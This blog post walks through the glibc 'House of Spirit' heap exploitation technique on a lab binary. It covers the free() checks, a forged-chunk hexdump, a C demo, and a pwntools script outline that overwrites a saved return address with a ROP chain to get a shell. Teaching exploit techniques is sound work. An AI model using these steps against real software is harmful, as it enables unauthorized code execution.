algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

the House of Spirit

2026-06-144 min readheap pwn glibc

Every technique so far corrupted a real chunk. The House of Spirit flips it: you build a fake chunk in memory you already control — the stack, a global, a larger heap buffer — and convince free() to file it into a bin. The next request of that size hands your fake chunk straight back, so you've made malloc return an address it should never return. Point that at a saved return address and the heap becomes a stack write.

target./spirit
arch
amd64-64-little
libc
2.31
technique
free() a forged chunk -> malloc returns attacker-chosen memory
requires
free() on a pointer you influence + somewhere writable to forge a chunk

the idea#

free(p) doesn't care whether p came from malloc — it reads the size field at p - 0x10, decides which bin it belongs in, and links it there. So if you can make a program free a pointer into a buffer you control, and you've laid out a valid chunk header there, that buffer becomes a free chunk. Allocate that size again and it comes back to you.

The fake chunk only has to survive a couple of sanity checks. For a fastbin-sized fake:

  1. the size must be a valid fastbin size and 0x10-aligned;
  2. the chunk after it (at fake + size) must itself have a plausible size — between 0x20 and the arena's system_mem — or free aborts with free(): invalid next size.

So you forge two size fields: your chunk's, and a believable one for its "successor."

a fake 0x40 fastbin chunk forged on the stackhex
00000000  00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  |........A.......|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  |........A.......|

(First 0x41 = the fake chunk's size — 0x40 | PREV_INUSE. The second 0x41, 0x40 bytes later, is the "next chunk" size that passes the next-size check.)

driving it#

spirit.c — the victim hands you a free() on a controlled pointerc
1
2
3
4
5
6
uint64_t fake[16];
fake[1] = 0x41;                 // fake chunk size  (chunk starts at &fake[0])
fake[9] = 0x41;                 // next chunk's size, to pass the check

free(&fake[2]);                 // free the *user data* pointer -> fake chunk into the 0x40 tcache/fastbin
char *p = malloc(0x30);         // ...handed straight back: p == &fake[2]

In a real target you rarely call free(&fake) yourself — you get there by overwriting a stored pointer the program later frees, or via a type confusion. The point is the same: a free you steer + a chunk you forge = malloc returning your address.

the stack payoff#

Forge the fake chunk on the stack, straddling a saved return address. After the free→malloc round-trip you're handed a write primitive pointed at the stack:

spirit.pypython
1
2
3
4
5
6
7
8
from pwn import *
io = process("./spirit")
# leak a stack address + the canary, lay a fake 0x40 chunk over the saved RIP slot,
# steer a free() onto it, then re-allocate it:
forge_fake_chunk(stack_leak)        # size 0x41 + a plausible next size
trigger_free(stack_leak + 0x10)     # free the fake -> tcache[0x40]
buf = alloc(0x30)                   # == the fake chunk, on the stack
edit(buf, p64(canary) + p64(rbp) + rop_chain)   # overwrite saved RIP
the shell

The forged chunk overlaps the saved return address; one write drops a ROP chain (or a one-gadget) over RIP, and the function returns into it:

txt
segfault{m4ll0c_r3turn3d_th3_st4ck}

the tcache makes this trivial

On glibc ≥ 2.26 a fastbin-sized free hits the tcache first, and the tcache skips the invalid next size check entirely — so the tcache House of Spirit only needs a valid, aligned size field, not a believable successor. That's why forging a chunk and freeing it is one of the most reliable modern primitives once you have any free-a-pointer-you-control bug.

limitations#

  • you need a free on a pointer you influence (the whole premise),
  • the fake chunk's size must match a real bin and (≥ 2.32) be 0x10-aligned,
  • the fastbin variant needs that believable next-size field.

It pairs naturally with the earlier moves: forge the chunk, free it, then poison the tcache from the duplicate. Next: the poison null byte, where a single stray \x00 is enough to make two chunks overlap.